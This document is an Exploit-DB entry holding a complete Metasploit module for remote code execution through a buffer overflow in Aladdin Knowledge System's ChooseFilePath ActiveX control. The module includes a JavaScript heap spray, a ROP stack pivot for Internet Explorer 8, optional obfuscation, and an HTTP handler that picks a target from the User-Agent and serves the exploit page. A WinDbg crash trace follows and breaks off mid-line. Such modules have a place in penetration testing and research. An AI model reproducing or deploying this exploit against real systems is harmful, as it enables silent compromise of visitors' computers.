Exploit-DB #22375
Description: Aladdin Knowledge System Ltd - 'ChooseFilePath' Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2012-11-01
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::BrowserAutopwn
	include Msf::Exploit::RopDb

	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "6.0",
		:ua_maxver  => "8.0",
		:javascript => true,
		:os_name    => OperatingSystems::WINDOWS,
		:rank       => Rank,
		:classid    => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
		:method     => "ChooseFilePath",
	})


	def initialize(info={})
		super(update_info(info,
			'Name'           => "Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability found in Aladdin Knowledge System's
				ActiveX component.  By supplying a long string of data to the ChooseFilePath()
				function, a buffer overflow occurs, which may result in remote code execution
				under the context of the user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'shinnai',       #Vulnerability Discovery
					'b33f',          #Original exploit
					'sinn3r',        #Metasploit
					'juan vazquez'   #Metasploit, IE8 target
				],
			'References'     =>
				[
					[ 'OSVDB', '86723' ],
					[ 'EDB',   '22258' ],
					[ 'EDB',   '22301' ]
				],
			'Payload'        =>
				{
					'StackAdjustment' => -3500
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[ 'IE 6 on Windows XP SP3',
						{
							'Rop' => false,
							'Offset' => '0x5F4',
							'Ret' => 0x0c0c0c0c
						}
					],
					[ 'IE 7 on Windows XP SP3',
						{
							'Rop' => false,
							'Offset' => '0x5F4',
							'Ret' => 0x0c0c0c0c
						}
					],
					[ 'IE 8 on Windows XP SP3',
						{
							'Rop' => true,
							'Offset' => '0x5f6',
							'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll
						}
					],
					[ 'IE 7 on Windows Vista',
						{
							'Rop' => false,
							'Offset' => '0x5F4',
							'Ret' => 0x0c0c0c0c
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Apr 1 2012",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class)

	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

		ie_name = "IE #{ie}"

		case nt
		when '5.1'
			os_name = 'Windows XP SP3'
		when '6.0'
			os_name = 'Windows Vista'
		when '6.1'
			os_name = 'Windows 7'
		end

		targets.each do |t|
			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
				print_status("Target selected as: #{t.name}")
				return t
			end
		end

		return nil
	end

	def ie_heap_spray(my_target, p)
		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

		# Land the payload at 0x0c0c0c0c

		js = %Q|
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");
		while (nops.length < 0x80000) nops += nops;
		var offset = nops.substring(0, #{my_target['Offset']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);
		heap_obj.gc();
		for (var i=1; i < 0x300; i++) {
			heap_obj.alloc(block);
		}
		var overflow = nops.substring(0, 10);
		|

		js = heaplib(js, {:noobfu => true})

		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		return js
	end

	def load_exploit_html(my_target, cli)

		if my_target['Rop']
			p = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'})
		else
			p = payload.encoded
		end

		spray = ie_heap_spray(my_target, p)

		html = %Q|
		<html>
		<object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>
		<script>
		#{spray}

		junk='';
		for( counter=0; counter<=267; counter++) junk+=unescape("%0c");
		pwnd.ChooseFilePath(junk + "#{Rex::Text.to_hex([my_target.ret].pack("V"))}");
		</script>
		</html>
		|

		return html
	end

	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		uri   = request.uri
		print_status("Requesting: #{uri}")

		my_target = get_target(agent)
		# Avoid the attack if no suitable target found
		if my_target.nil?
			print_error("Browser not supported, sending 404: #{agent}")
			send_not_found(cli)
			return
		end

		html = load_exploit_html(my_target, cli)
		html = html.gsub(/^\t\t/, '')
		print_status("Sending HTML...")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end

end

=begin
0:008> g
(82c.12dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=00001d56 ecx=020b93d4 edx=00001d56 esi=00001d60 edi=020b93e8
eip=7712a41a esp=020b93bc ebp=020b93c4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
OLEAUT32!SysReAllocStringLen+0x31:
7712a41a 8b00            mov     eax,dword ptr [eax]  ds:0023:0c0c0c0c=????????
0:008> g
(82c.12dc): Ac